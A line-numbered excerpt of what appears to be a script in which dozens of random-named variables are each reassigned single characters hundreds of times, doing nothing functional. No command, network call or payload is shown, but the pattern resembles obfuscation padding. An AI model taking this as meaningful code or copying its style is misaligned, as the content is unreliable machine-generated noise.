121	uxjhu = "b";
122	jidvqrjms = "F";
123	jidvqrjms = "r";
124	jidvqrjms = "r";
125	jidvqrjms = "P";
126	jidvqrjms = "H";
127	jidvqrjms = "F";
128	jidvqrjms = "B";
129	jidvqrjms = "P";
130	jidvqrjms = "Q";
131	jidvqrjms = "J";
132	jidvqrjms = "M";
133	jidvqrjms = "I";
134	jidvqrjms = "a";
135	jidvqrjms = "y";
136	jidvqrjms = "@";
137	gqssikte = "k";
138	gqssikte = "C";
139	gqssikte = "u";
140	gqssikte = "S";
141	gqssikte = "i";
142	gqssikte = "J";
143	gqssikte = "G";
144	gqssikte = "A";
145	gqssikte = "u";
146	gqssikte = "M";
147	gqssikte = "n";
148	gqssikte = "D";
149	gqssikte = "C";
150	gqssikte = "d";
151	gqssikte = "v";
152	gqssikte = "K";
153	gqssikte = "h";
154	gqssikte = "a";
155	gqssikte = "F";
156	gqssikte = "K";
157	gqssikte = "B";
158	gqssikte = "j";
159	gqssikte = "N";
160	gqssikte = "Q";
161	gqssikte = "Y";
162	gqssikte = "G";
163	gqssikte = "l";
164	gqssikte = "I";
165	gqssikte = "d";
166	gqssikte = "f";
167	gqssikte = "C";
168	logifk = "P";
169	logifk = "U";
170	logifk = "I";
171	logifk = "E";
172	logifk = "s";
173	logifk = "o";
174	logifk = "p";
175	logifk = "q";
176	logifk = "G";
177	logifk = "N";
178	logifk = "n";
179	logifk = "k";
180	logifk = "K";
181	logifk = "D";
182	logifk = "L";
183	logifk = "W";
184	logifk = "M";
185	logifk = "j";
186	logifk = "r";
187	logifk = "l";
188	logifk = "s";
189	logifk = "u";
190	logifk = "c";
191	logifk = "M";
192	logifk = "K";
193	logifk = "r";
194	logifk = "z";
195	logifk = "K";
196	logifk = "c";
197	logifk = "n";
198	logifk = "a";
199	logifk = "c";
200	fwjis = "d";
201	fwjis = "b";
202	fwjis = "P";
203	fwjis = "R";
204	fwjis = "m";
205	fwjis = "B";
206	fwjis = "H";
207	fwjis = "o";
208	fwjis = "j";
209	fwjis = "N";
210	fwjis = "l";
211	fwjis = "W";
212	fwjis = "x";
213	fwjis = "T";
214	xsoiqcy = "J";
215	xsoiqcy = "j";
216	xsoiqcy = "s";
217	xsoiqcy = "y";
218	xsoiqcy = "r";
219	xsoiqcy = "b";
220	xsoiqcy = "o";
221	xsoiqcy = "T";
222	xsoiqcy = "X";
223	xsoiqcy = "P";
224	xsoiqcy = "b";
225	xsoiqcy = "h";
226	xsoiqcy = "z";
227	xsoiqcy = "J";
228	xsoiqcy = "f";
229	xsoiqcy = "j";
230	xsoiqcy = "d";
231	xsoiqcy = "h";
232	xsoiqcy = "y";
233	xsoiqcy = "X";
234	xsoiqcy = "S";
235	xsoiqcy = "G";
236	xsoiqcy = "Y";
237	xsoiqcy = "x";
238	xsoiqcy = "S";
239	xsoiqcy = "U";
240	xsoiqcy = "Y";
241	xsoiqcy = "G";
242	xsoiqcy = "s";
243	xsoiqcy = "q";
244	xsoiqcy = "t";
245	xsoiqcy = "J";
246	xsoiqcy = "z";
247	xsoiqcy = "O";
248	xsoiqcy = "U";
249	xsoiqcy = "E";
250	xsoiqcy = "y";
251	xsoiqcy = "B";
252	xsoiqcy = "P";
253	xsoiqcy = "R";
254	xsoiqcy = "f";
255	ykhfuotty = "F";
256	ykhfuotty = "e";
257	ykhfuotty = "m";
258	ykhfuotty = "L";
259	ykhfuotty = "Z";
260	ykhfuotty = "o";
261	ykhfuotty = "D";
262	ykhfuotty = "c";
263	ykhfuotty = "F";
264	ykhfuotty = "L";
265	ykhfuotty = "M";
266	ykhfuotty = "A";
267	ykhfuotty = "F";
268	ykhfuotty = "F";
269	ykhfuotty = "H";
270	ykhfuotty = "j";
271	ykhfuotty = "u";
272	ykhfuotty = " ";
273	hpgitotkr = "x";
274	hpgitotkr = "E";
275	hpgitotkr = "S";
276	hpgitotkr = "p";
277	hpgitotkr = "m";
278	hpgitotkr = "p";
279	hpgitotkr = "I";
280	hpgitotkr = "e";
281	hpgitotkr = "L";
282	hpgitotkr = "D";
283	hpgitotkr = "v";
284	hpgitotkr = "N";
285	hpgitotkr = "5";
286	gxdhmf = "k";
287	gxdhmf = "n";
288	gxdhmf = "k";
289	gxdhmf = "D";
290	gxdhmf = "r";
291	gxdhmf = "V";
292	gxdhmf = "j";
293	gxdhmf = "m";
294	gxdhmf = "H";
295	gxdhmf = "2";
296	kxrvcysyz = "y";
297	kxrvcysyz = "P";
298	kxrvcysyz = "e";
299	kxrvcysyz = "L";
300	kxrvcysyz = "J";
301	kxrvcysyz = "n";
302	kxrvcysyz = "r";
303	kxrvcysyz = "N";
304	kxrvcysyz = "r";
305	kxrvcysyz = "p";
306	kxrvcysyz = "-";
307	vimyd = "E";
308	vimyd = "D";
309	vimyd = "C";
310	vimyd = "l";
311	vimyd = "V";
312	vimyd = "E";
313	vimyd = "W";
314	vimyd = "r";
315	vimyd = "m";
316	vimyd = "H";
317	vimyd = "t";
318	vimyd = "d";
319	vimyd = "g";
320	vimyd = "T";
321	vimyd = "A";
322	vimyd = "Z";
323	vimyd = "Y";
324	vimyd = "t";
325	vimyd = "P";
326	vimyd = "K";
327	vimyd = "G";
328	vimyd = "V";
329	vimyd = "n";
330	ttmrufl = "R";
331	ttmrufl = "i";
332	ttmrufl = "I";
333	ttmrufl = "I";
334	ttmrufl = "Q";
335	ukwvyqv = "B";
336	ukwvyqv = "T";
337	ukwvyqv = "U";
338	ukwvyqv = "C";
339	ukwvyqv = "R";
340	ukwvyqv = "N";
341	ukwvyqv = "q";
342	ukwvyqv = "B";
343	ukwvyqv = "F";
344	ukwvyqv = "t";
345	ukwvyqv = "O";
346	ukwvyqv = "x";
347	ukwvyqv = "T";
348	ukwvyqv = "d";
349	ukwvyqv = "x";
350	ukwvyqv = "M";
351	ukwvyqv = "A";
352	ukwvyqv = "a";
353	ukwvyqv = "I";
354	ukwvyqv = "k";
355	ukwvyqv = "e";
356	ukwvyqv = "k";
357	ukwvyqv = "R";
358	ukwvyqv = "P";
359	ukwvyqv = "v";
360	ukwvyqv = "X";
361	ukwvyqv = "u";
362	ukwvyqv = "S";
363	ukwvyqv = "m";
364	ukwvyqv = "x";
365	ukwvyqv = "_";
366	zzxrf = "E";
367	zzxrf = "O";
368	zzxrf = "G";
369	zzxrf = "s";
370	zzxrf = "z";
371	zzxrf = "g";
372	zzxrf = "V";
373	zzxrf = "I";
374	zzxrf = "M";
375	zzxrf = "F";
376	zzxrf = "q";
377	zzxrf = "r";
378	zzxrf = "J";
379	zzxrf = "D";
380	zzxrf = "P";
381	zzxrf = "Z";
382	zzxrf = "r";
383	zzxrf = "P";
384	zzxrf = "d";
385	zzxrf = "R";
386	geldejcd = "H";
387	geldejcd = "F";
388	geldejcd = "I";
389	geldejcd = "v";
390	geldejcd = "u";
391	geldejcd = "h";
392	geldejcd = "g";
393	geldejcd = "l";
394	geldejcd = "q";
395	geldejcd = "u";
396	geldejcd = "H";
397	geldejcd = "F";
398	geldejcd = "h";
399	geldejcd = "m";
400	geldejcd = "r";
401	geldejcd = "M";
402	geldejcd = "w";
403	geldejcd = "v";
404	geldejcd = "m";
405	geldejcd = "v";
406	geldejcd = "k";
407	geldejcd = "r";
408	geldejcd = "m";
409	geldejcd = "X";
410	geldejcd = "W";
411	geldejcd = "u";
412	geldejcd = "q";
413	geldejcd = "a";
414	geldejcd = "M";
415	geldejcd = "t";
416	geldejcd = "Q";
417	geldejcd = "y";
418	geldejcd = "z";
419	geldejcd = "J";
420	geldejcd = "H";
421	geldejcd = "x";
422	geldejcd = "m";
423	gzxskfh = "q";
424	gzxskfh = "R";
425	gzxskfh = "N";
426	gzxskfh = "H";
427	gzxskfh = "I";
428	gzxskfh = "O";
429	gzxskfh = "P";
430	gzxskfh = "H";
431	gzxskfh = "I";
432	gzxskfh = "V";
433	gzxskfh = "K";
434	gzxskfh = "F";
435	gzxskfh = "X";
436	gzxskfh = "E";
437	gzxskfh = "S";
438	gzxskfh = "U";
439	gzxskfh = "n";
440	gzxskfh = "P";
441	gzxskfh = "A";
442	gzxskfh = "q";
443	gzxskfh = "n";
444	gzxskfh = "D";
445	gzxskfh = "Z";
446	gzxskfh = "G";
447	gzxskfh = "y";
448	gzxskfh = "r";
449	gzxskfh = "w";
450	gzxskfh = "R";
451	gzxskfh = "U";
452	gzxskfh = "a";
453	gzxskfh = "B";
454	gzxskfh = "X";
455	gzxskfh = "\\";
456	awgozhi = "W";
457	awgozhi = "R";
458	awgozhi = "J";
459	awgozhi = "C";
460	awgozhi = "L";
461	awgozhi = "U";
462	awgozhi = "X";
463	awgozhi = "f";
464	awgozhi = "p";
465	jyybvcv = "K";
466	jyybvcv = "J";
467	jyybvcv = "v";
468	jyybvcv = "o";
469	jyybvcv = "t";
470	jyybvcv = "W";
471	jyybvcv = "D";
472	jyybvcv = "S";
473	jyybvcv = "d";
474	jyybvcv = "j";
475	jyybvcv = "U";
476	jyybvcv = "k";
477	jyybvcv = "s";
478	jyybvcv = "B";
479	jyybvcv = "l";
480	jyybvcv = "K";
481	jyybvcv = "H";
482	jyybvcv = "E";
483	jyybvcv = "K";
484	jyybvcv = "l";
485	jyybvcv = "J";
486	jyybvcv = "y";
487	jyybvcv = "j";
488	jyybvcv = "d";
489	jyybvcv = "F";
490	jyybvcv = "Y";
491	jyybvcv = "P";
492	jyybvcv = "u";
493	jyybvcv = "W";
494	jyybvcv = "E";
495	jyybvcv = "Q";
496	jyybvcv = "h";
497	jyybvcv = "q";
498	jyybvcv = "t";
499	jyybvcv = "e";
500	jyybvcv = "R";
501	jyybvcv = "y";
502	jyybvcv = "K";
503	jyybvcv = "L";
504	jyybvcv = "a";
505	jyybvcv = "o";
506	jyybvcv = "F";
507	jyybvcv = "A";
508	jyybvcv = "O";
509	blkieby = "p";
510	blkieby = "H";
511	blkieby = "q";
512	blkieby = "o";
513	blkieby = "B";
514	blkieby = "S";
515	blkieby = "f";
516	blkieby = "q";
517	blkieby = "r";
518	blkieby = "v";
519	osxwypo = "E";
520	osxwypo = "V";
521	osxwypo = "a";
522	osxwypo = "k";
523	osxwypo = "E";
524	osxwypo = "V";
525	osxwypo = "E";
526	osxwypo = "H";
527	osxwypo = "K";
528	osxwypo = "G";
529	osxwypo = "S";
530	osxwypo = "y";
531	osxwypo = "F";
532	osxwypo = "E";
533	osxwypo = "H";
534	osxwypo = "q";
535	osxwypo = "p";
536	osxwypo = "c";
537	osxwypo = "F";
538	osxwypo = "k";
539	osxwypo = "A";
540	osxwypo = "p";
541	osxwypo = "C";
542	osxwypo = "c";
543	osxwypo = "e";
544	osxwypo = "H";
545	osxwypo = "B";
546	osxwypo = "Y";
547	osxwypo = "X";
548	osxwypo = "v";
549	osxwypo = "n";
550	osxwypo = "z";
551	osxwypo = "j";
552	osxwypo = "m";
553	osxwypo = "o";
554	osxwypo = "d";
555	osxwypo = "P";
556	osxwypo = "l";
557	osxwypo = "R";
558	osxwypo = "V";
559	osxwypo = "d";
560	osxwypo = "E";
561	kumbdzgc = "i";
562	kumbdzgc = "A";
563	kumbdzgc = "K";
564	kumbdzgc = "K";
565	kumbdzgc = "b";
566	kumbdzgc = "Y";
567	kumbdzgc = "F";
568	kumbdzgc = "w";
569	kumbdzgc = "W";
570	kumbdzgc = "J";
571	kumbdzgc = "N";
572	kumbdzgc = "N";
573	kumbdzgc = "g";
574	kumbdzgc = "B";
575	kumbdzgc = "m";
576	kumbdzgc = "I";
577	zruhzfc = "q";
578	zruhzfc = "h";
579	zruhzfc = "l";
580	zruhzfc = "t";
581	zruhzfc = "L";
582	zruhzfc = "o";
583	zruhzfc = "a";
584	zruhzfc = "S";
585	zruhzfc = "l";
586	zruhzfc = "C";
587	zruhzfc = "S";
588	zruhzfc = "r";
589	zruhzfc = "9";
590	bklcjemlm = "R";
591	bklcjemlm = "M";
592	bklcjemlm = "W";
593	bklcjemlm = "U";
594	bklcjemlm = "c";
595	bklcjemlm = "N";
596	bklcjemlm = "R";
597	bklcjemlm = "m";
598	bklcjemlm = "N";
599	bklcjemlm = "g";
600	bklcjemlm = "t";
601	bklcjemlm = "P";
602	bklcjemlm = "q";
603	bklcjemlm = "Y";
604	bklcjemlm = "T";
605	bklcjemlm = "v";
606	bklcjemlm = "F";
607	bklcjemlm = "e";
608	bklcjemlm = "R";
609	bklcjemlm = "h";
610	bklcjemlm = "n";
611	bklcjemlm = "b";
612	bklcjemlm = "i";
613	bklcjemlm = "u";
614	bklcjemlm = "a";
615	bklcjemlm = "p";
616	bklcjemlm = "b";
617	bklcjemlm = "V";
618	bklcjemlm = "o";
619	bklcjemlm = "x";
620	bklcjemlm = "n";
621	bklcjemlm = "h";
622	bklcjemlm = "c";
623	bklcjemlm = "i";
624	qyjzjpw = "I";
625	qyjzjpw = "k";
626	qyjzjpw = "E";
627	qyjzjpw = "s";
628	qyjzjpw = "1";
629	xisfojwyl = "v";
630	xisfojwyl = "P";
631	xisfojwyl = "T";
632	xisfojwyl = "j";
633	xisfojwyl = "R";
634	xisfojwyl = "W";
635	xisfojwyl = "x";
636	xisfojwyl = "T";
637	xisfojwyl = "I";
638	xisfojwyl = "F";
639	xisfojwyl = "h";
640	xisfojwyl = "X";
641	xisfojwyl = "T";
642	xisfojwyl = "A";
643	xisfojwyl = "y";
644	xisfojwyl = "I";
645	xisfojwyl = "O";
646	xisfojwyl = "H";
647	xisfojwyl = "x";
648	xisfojwyl = "y";
649	xisfojwyl = "A";
650	xisfojwyl = "A";
651	xisfojwyl = "H";
652	xisfojwyl = "F";
653	xisfojwyl = "D";
654	xisfojwyl = "J";
655	xisfojwyl = "F";
656	xisfojwyl = "y";
657	xisfojwyl = "h";
658	xisfojwyl = "Z";
659	xisfojwyl = "N";
660	xisfojwyl = "h";
661	xisfojwyl = "T";
662	xisfojwyl = "q";
663	xisfojwyl = "z";
664	xisfojwyl = "S";
665	xisfojwyl = "I";
666	xisfojwyl = "E";
667	xisfojwyl = "B";
668	xisfojwyl = "N";
669	xisfojwyl = "j";
670	xisfojwyl = "u";
671	xisfojwyl = "X";
672	xisfojwyl = "K";
673	cajrixdlo = "y";
674	cajrixdlo = "v";
675	cajrixdlo = "G";
676	cajrixdlo = "S";
677	cajrixdlo = "v";
678	cajrixdlo = "M";
679	cajrixdlo = "Q";
680	cajrixdlo = "e";
681	cajrixdlo = "L";
682	cajrixdlo = "b";
683	cajrixdlo = "H";
684	cajrixdlo = "G";
685	cajrixdlo = "s";
686	cajrixdlo = "L";
687	cajrixdlo = "u";
688	cajrixdlo = "V";
689	cajrixdlo = "l";
690	cajrixdlo = "I";
691	cajrixdlo = "m";
692	cajrixdlo = "L";
693	cajrixdlo = "O";
694	cajrixdlo = "f";
695	cajrixdlo = "0";
696	yksljvhw = "W";
697	yksljvhw = "E";
698	yksljvhw = "I";
699	yksljvhw = "h";
700	yksljvhw = "L";
701	yksljvhw = "F";
702	yksljvhw = "m";
703	yksljvhw = "m";
704	yksljvhw = "I";
705	yksljvhw = "F";
706	yksljvhw = "N";
707	yksljvhw = "b";
708	yksljvhw = "D";
709	yksljvhw = "U";
710	yksljvhw = "W";
711	yksljvhw = "G";
712	yksljvhw = "D";
713	yksljvhw = "c";
714	yksljvhw = "V";
715	yksljvhw = "q";
716	yksljvhw = "I";
717	yksljvhw = "k";
718	yksljvhw = "o";
719	yksljvhw = "H";
720	yksljvhw = "S";
721	yksljvhw = "N";
722	yksljvhw = "t";
723	yksljvhw = "E";
724	yksljvhw = "r";
725	yksljvhw = "y";
726	yksljvhw = "g";
727	miqorlo = "C";
728	miqorlo = "R";
729	miqorlo = "J";
730	miqorlo = "m";
731	miqorlo = "B";
732	miqorlo = "i";
733	miqorlo = "z";
734	miqorlo = "a";
735	miqorlo = "k";
736	miqorlo = "Z";
737	miqorlo = "j";
738	miqorlo = "z";
739	miqorlo = "v";
740	miqorlo = "e";
741	miqorlo = "y";
742	miqorlo = "w";
743	miqorlo = "L";
744	miqorlo = "G";
745	miqorlo = "g";
746	miqorlo = "X";
747	miqorlo = "E";
748	miqorlo = "I";
749	miqorlo = "n";
750	miqorlo = "O";
751	miqorlo = "K";
752	miqorlo = "d";
753	miqorlo = "C";
754	miqorlo = "Y";
755	miqorlo = "M";
756	miqorlo = "D";
757	miqorlo = "r";
758	miqorlo = "Y";
759	miqorlo = "H";
760	miqorlo = "T";
761	miqorlo = "K";
762	miqorlo = "Z";
763	miqorlo = "G";
764	miqorlo = "\"";
765	fsmijgw = "X";
766	fsmijgw = "V";
767	fsmijgw = "N";
768	fsmijgw = "o";
769	fsmijgw = "g";
770	fsmijgw = "r";
771	fsmijgw = "Z";
772	fsmijgw = "O";
773	fsmijgw = "s";
774	fsmijgw = "k";
775	fsmijgw = "y";
776	fsmijgw = "U";
777	fsmijgw = "I";
778	fsmijgw = "S";
779	fsmijgw = "z";
780	fsmijgw = "s";
781	fsmijgw = "m";
782	fsmijgw = "C";
783	fsmijgw = "X";
784	fsmijgw = "V";
785	fsmijgw = "N";
786	fsmijgw = "J";
787	fsmijgw = "c";
788	fsmijgw = "U";
789	fsmijgw = "Z";
790	fsmijgw = "n";
791	fsmijgw = "h";
792	fsmijgw = "R";
793	fsmijgw = "a";
794	fsmijgw = "Z";
795	fsmijgw = "d";
796	fsmijgw = "w";
797	fsmijgw = "i";
798	fsmijgw = "H";
799	fsmijgw = "i";
800	fsmijgw = "v";
801	fsmijgw = "s";
802	fsmijgw = "V";
803	fsmijgw = "H";
804	fsmijgw = "r";
805	fsmijgw = "k";
806	fsmijgw = "I";
807	fsmijgw = "Z";
808	fsmijgw = "q";
809	rdcxn = "h";
810	rdcxn = "q";
811	rdcxn = "h";
812	stxjfio = "w";
813	stxjfio = "b";
814	stxjfio = "M";
815	stxjfio = "i";
816	stxjfio = "U";
817	stxjfio = "l";
818	stxjfio = "C";
819	stxjfio = "Y";
820	stxjfio = "U";
821	stxjfio = "g";
822	stxjfio = "k";
823	stxjfio = "q";
824	stxjfio = "J";
825	stxjfio = "A";
826	stxjfio = "a";
827	stxjfio = "P";
828	stxjfio = "N";
829	zidozdjpm = "f";
830	zidozdjpm = "C";
831	zidozdjpm = "F";
832	zidozdjpm = "x";
833	zidozdjpm = "G";
834	zidozdjpm = "O";
835	zidozdjpm = "j";
836	zidozdjpm = "s";
837	zidozdjpm = "S";
838	zidozdjpm = "z";
839	zidozdjpm = "S";
840	zidozdjpm = "F";
841	zidozdjpm = "b";
842	zidozdjpm = "g";
843	zidozdjpm = "F";
844	jpvokrze = "g";
845	jpvokrze = "j";
846	jpvokrze = "E";
847	jpvokrze = "m";
848	jpvokrze = "d";
849	jpvokrze = "m";
850	jpvokrze = "H";
851	jpvokrze = "A";
852	jpvokrze = "a";
853	jpvokrze = "K";
854	jpvokrze = "Q";
855	jpvokrze = "p";
856	jpvokrze = "B";
857	jpvokrze = "C";
858	jpvokrze = "K";
859	jpvokrze = "V";
860	jpvokrze = "f";
861	jpvokrze = "Q";
862	jpvokrze = "W";
863	jpvokrze = "S";
864	jpvokrze = "S";
865	jpvokrze = "o";
866	jpvokrze = "B";
867	jpvokrze = "s";
868	jpvokrze = "F";
869	jpvokrze = "F";
870	jpvokrze = "U";
871	nqkjhmx = "Z";
872	nqkjhmx = "d";
873	nqkjhmx = "d";
874	nqkjhmx = "l";
875	nqkjhmx = "s";
876	nqkjhmx = "u";
877	nqkjhmx = "e";
878	nqkjhmx = "N";
879	nqkjhmx = "b";
880	nqkjhmx = "A";
881	nqkjhmx = "N";
882	nqkjhmx = "S";
883	nqkjhmx = "R";
884	nqkjhmx = "W";
885	nqkjhmx = "H";
886	ekslugfr = "A";
887	ekslugfr = "C";
888	ekslugfr = "M";
889	ekslugfr = "E";
890	ekslugfr = "a";
891	ekslugfr = "q";
892	ekslugfr = "O";
893	ekslugfr = "J";
894	ekslugfr = "R";
895	ekslugfr = "b";
896	ekslugfr = "O";
897	ekslugfr = "T";
898	ekslugfr = "M";
899	ekslugfr = "y";
900	ekslugfr = "s";
901	ekslugfr = "v";
902	ekslugfr = "S";
903	ekslugfr = "W";
904	ekslugfr = "S";
905	ekslugfr = "O";
906	ekslugfr = "i";
907	ekslugfr = "r";
908	ekslugfr = "P";
909	ekslugfr = "n";
910	ekslugfr = "X";
911	ekslugfr = "f";
912	ekslugfr = "g";
913	ekslugfr = "W";
914	ekslugfr = "t";
915	ekslugfr = "D";
916	ekslugfr = "J";
917	ekslugfr = "E";
918	ekslugfr = "Z";
919	ekslugfr = "t";
920	ekslugfr = "m";
921	ekslugfr = "o";
922	ekslugfr = "J";
923	ekslugfr = "Y";
924	ekslugfr = "T";
925	ekslugfr = "A";
926	ekslugfr = "L";
927	yfrnivno = "V";
928	yfrnivno = "S";
929	yfrnivno = "q";
930	yfrnivno = "k";
931	rphqiv = "G";
932	rphqiv = "R";
933	rphqiv = "u";
934	rphqiv = "e";
935	rphqiv = "k";
936	rphqiv = "t";
937	rphqiv = "P";
938	rphqiv = "o";
939	rphqiv = "f";
940	rphqiv = "X";
941	rphqiv = "k";
942	rphqiv = "L";
943	rphqiv = "P";
944	rphqiv = "C";
945	rphqiv = "L";
946	rphqiv = "C";
947	rphqiv = "u";
948	rphqiv = "y";
949	rphqiv = "w";
950	rphqiv = "F";
951	rphqiv = "c";
952	rphqiv = "j";
953	rphqiv = "C";
954	rphqiv = "X";
955	rphqiv = "l";
956	rphqiv = "v";
957	rphqiv = "o";
958	rphqiv = "Y";
959	rphqiv = "K";
960	rphqiv = "m";
961	rphqiv = "q";
962	rphqiv = "A";
963	rphqiv = "b";
964	rphqiv = "x";
965	rphqiv = "W";
966	ahtdubabf = "T";
967	ahtdubabf = "l";
968	ahtdubabf = "A";
969	ahtdubabf = "V";
970	ahtdubabf = "x";
971	ahtdubabf = "W";
972	ahtdubabf = "X";
973	ahtdubabf = "K";
974	ahtdubabf = "O";
975	ahtdubabf = "e";
976	ahtdubabf = "c";
977	ahtdubabf = "y";
978	ahtdubabf = "V";
979	ahtdubabf = "I";
980	ahtdubabf = "M";
981	ahtdubabf = "J";
982	ahtdubabf = "Z";
983	ahtdubabf = "F";
984	ahtdubabf = "d";
985	ahtdubabf = "D";
986	ahtdubabf = "u";
987	ahtdubabf = "Z";
988	ahtdubabf = "p";
989	ahtdubabf = "n";
990	ahtdubabf = "Y";
991	ahtdubabf = "z";
992	ahtdubabf = "u";
993	ahtdubabf = "S";
994	ahtdubabf = "c";
995	ahtdubabf = "H";
996	ahtdubabf = "r";
997	ahtdubabf = "n";
998	ahtdubabf = "S";
999	nigjs = "e";
1000	nigjs = "O";
1001	nigjs = "O";
1002	nigjs = "E";
1003	nigjs = "N";
1004	nigjs = "I";
1005	nigjs = "W";
1006	nigjs = "S";
1007	nigjs = "w";
1008	nigjs = "k";
1009	nigjs = "G";
1010	nigjs = "P";
1011	nigjs = "b";
1012	nigjs = "K";
1013	nigjs = "U";
1014	nigjs = "U";
1015	nigjs = "X";
1016	nigjs = "w";
1017	nigjs = "i";
1018	nigjs = "a";
1019	nigjs = "F";
1020	nigjs = "v";
1021	nigjs = "U";
1022	nigjs = "d";
1023	nigjs = "e";
1024	wlkieiqu = "M";
1025	wlkieiqu = "p";
1026	wlkieiqu = "s";
1027	wlkieiqu = "l";
1028	wlkieiqu = "a";
1029	wlkieiqu = "v";
1030	wlkieiqu = "S";
1031	wlkieiqu = "O";
1032	wlkieiqu = "T";
1033	wlkieiqu = "B";
1034	wlkieiqu = "T";
1035	wlkieiqu = "S";
1036	wlkieiqu = "F";
1037	wlkieiqu = "G";
1038	wlkieiqu = "D";
1039	wlkieiqu = "y";
1040	wlkieiqu = "H";
1041	wlkieiqu = "C";
1042	wlkieiqu = "q";
1043	wlkieiqu = "N";
1044	wlkieiqu = "h";
1045	wlkieiqu = "q";
1046	wlkieiqu = "s";
1047	byabtoo = "l";
1048	byabtoo = "S";
1049	byabtoo = "t";
1050	byabtoo = "l";
1051	byabtoo = "l";
1052	byabtoo = "b";
1053	byabtoo = "c";
1054	byabtoo = "i";
1055	byabtoo = "A";
1056	byabtoo = "Y";
1057	byabtoo = "c";
1058	byabtoo = "F";
1059	byabtoo = "g";
1060	byabtoo = "x";
1061	byabtoo = "o";
1062	byabtoo = "S";
1063	byabtoo = "H";
1064	byabtoo = "D";
1065	byabtoo = "A";
1066	byabtoo = "c";
1067	byabtoo = "o";
1068	byabtoo = "a";
1069	byabtoo = "i";
1070	byabtoo = "j";
1071	byabtoo = "u";
1072	byabtoo = "R";
1073	byabtoo = "G";
1074	byabtoo = "h";
1075	byabtoo = "N";
1076	byabtoo = "Q";
1077	byabtoo = "D";
1078	byabtoo = "U";
1079	byabtoo = "M";
1080	byabtoo = "j";
1081	byabtoo = "b";
1082	byabtoo = "e";
1083	byabtoo = "e";
1084	byabtoo = "C";
1085	byabtoo = "n";
1086	byabtoo = "P";
1087	ylpgr = "r";
1088	ylpgr = "t";
1089	ylpgr = "k";
1090	ylpgr = "a";
1091	ylpgr = "v";
1092	ylpgr = "j";
1093	ylpgr = "o";
1094	ylpgr = "x";
1095	ylpgr = "Q";
1096	ylpgr = "B";
1097	ylpgr = "k";
1098	ylpgr = "u";
1099	ylpgr = "m";
1100	ylpgr = "V";
1101	ylpgr = "H";
1102	ylpgr = "o";
1103	ylpgr = "P";
1104	ylpgr = "c";
1105	ylpgr = "L";
1106	ylpgr = "O";
1107	ylpgr = "g";
1108	ylpgr = "t";
1109	ylpgr = "E";
1110	ylpgr = "D";
1111	ylpgr = "z";
1112	ylpgr = "a";
1113	ylpgr = "x";
1114	ylpgr = "x";
1115	dehgu = "m";
1116	dehgu = "F";
1117	dehgu = "E";
1118	dehgu = "a";
1119	dehgu = "v";
1120	dehgu = "p";
1121	dehgu = "U";
1122	dehgu = "b";
1123	dehgu = "v";
1124	dehgu = "r";
1125	dehgu = "u";
1126	dehgu = "i";
1127	dehgu = "d";
1128	dehgu = "K";
1129	dehgu = "l";
1130	dehgu = "d";
1131	dehgu = "i";
1132	dehgu = "s";
1133	dehgu = "w";
1134	dehgu = "n";
1135	dehgu = "x";
1136	dehgu = "m";
1137	dehgu = "U";
1138	dehgu = "J";
1139	dehgu = "a";
1140	dehgu = "s";
1141	dehgu = "q";
1142	dehgu = "T";
1143	dehgu = "Q";
1144	dehgu = "F";
1145	dehgu = "E";
1146	dehgu = "E";
1147	dehgu = "j";
1148	dehgu = "T";
1149	dehgu = "v";
1150	dehgu = "&";
1151	chphwxp = "k";
1152	chphwxp = "Z";
1153	chphwxp = "n";
1154	chphwxp = "W";
1155	chphwxp = "v";
1156	chphwxp = "Y";
1157	chphwxp = "w";
1158	oilfbg = "z";
1159	oilfbg = "U";
1160	oilfbg = "e";
1161	oilfbg = "l";
1162	oilfbg = "u";
1163	oilfbg = "e";
1164	oilfbg = "b";
1165	oilfbg = "p";
1166	oilfbg = "q";
1167	oilfbg = "f";
1168	oilfbg = "W";
1169	oilfbg = "G";
1170	oilfbg = "V";
1171	oilfbg = "s";
1172	oilfbg = "g";
1173	oilfbg = "B";
1174	oilfbg = "p";
1175	oilfbg = "B";
1176	oilfbg = "o";
1177	oilfbg = "S";
1178	oilfbg = "O";
1179	oilfbg = "k";
1180	oilfbg = "i";
1181	oilfbg = "Z";
1182	oilfbg = "c";
1183	oilfbg = "8";
1184	ryyokjdi = "n";
1185	ryyokjdi = "o";
1186	ryyokjdi = "o";
1187	ryyokjdi = "k";
1188	ryyokjdi = "u";
1189	ryyokjdi = "K";
1190	ryyokjdi = "s";
1191	ryyokjdi = "o";
1192	ryyokjdi = "e";
1193	ryyokjdi = "u";
1194	ryyokjdi = "M";
1195	ryyokjdi = "T";
1196	ryyokjdi = "Y";
1197	ryyokjdi = "I";
1198	ryyokjdi = "g";
1199	ryyokjdi = "r";
1200	ryyokjdi = "f";
1201	ryyokjdi = "c";
1202	ryyokjdi = "D";
1203	ryyokjdi = "J";
1204	ryyokjdi = "U";
1205	ryyokjdi = "t";
1206	ryyokjdi = "T";
1207	ryyokjdi = "H";
1208	ryyokjdi = "G";
1209	ryyokjdi = "I";
1210	ryyokjdi = "B";
1211	ryyokjdi = "J";
1212	ryyokjdi = "N";
1213	ryyokjdi = "g";
1214	ryyokjdi = "y";
1215	ryyokjdi = "H";
1216	ryyokjdi = "m";
1217	ryyokjdi = "n";
1218	ryyokjdi = "s";
1219	ryyokjdi = "i";
1220	ryyokjdi = "n";
1221	ryyokjdi = "r";
1222	ryyokjdi = "v";
1223	ryyokjdi = "Y";
1224	ryyokjdi = "6";
1225	jtekhqyhr = "E";
1226	jtekhqyhr = "o";
1227	jtekhqyhr = "M";
1228	jtekhqyhr = "i";
1229	jtekhqyhr = "n";
1230	jtekhqyhr = "t";
1231	jtekhqyhr = "N";
1232	jtekhqyhr = "M";
1233	jtekhqyhr = "N";
1234	jtekhqyhr = "M";
1235	jtekhqyhr = "O";
1236	jtekhqyhr = "F";
1237	jtekhqyhr = "q";
1238	jtekhqyhr = "j";
1239	jtekhqyhr = "N";
1240	jtekhqyhr = "x";
1241	jtekhqyhr = "k";
1242	jtekhqyhr = "T";
1243	jtekhqyhr = "k";
1244	jtekhqyhr = "y";
1245	jtekhqyhr = "O";
1246	jtekhqyhr = "D";
1247	jtekhqyhr = "v";
1248	jtekhqyhr = "S";
1249	jtekhqyhr = "F";
1250	jtekhqyhr = "j";
1251	jtekhqyhr = "J";
1252	jtekhqyhr = "F";
1253	jtekhqyhr = "g";
1254	jtekhqyhr = "J";
1255	jtekhqyhr = "n";
1256	jtekhqyhr = "v";
1257	jtekhqyhr = "V";
1258	jtekhqyhr = "v";
1259	jtekhqyhr = "p";
1260	jtekhqyhr = "L";
1261	jtekhqyhr = "O";
1262	jtekhqyhr = "C";
1263	jtekhqyhr = "q";
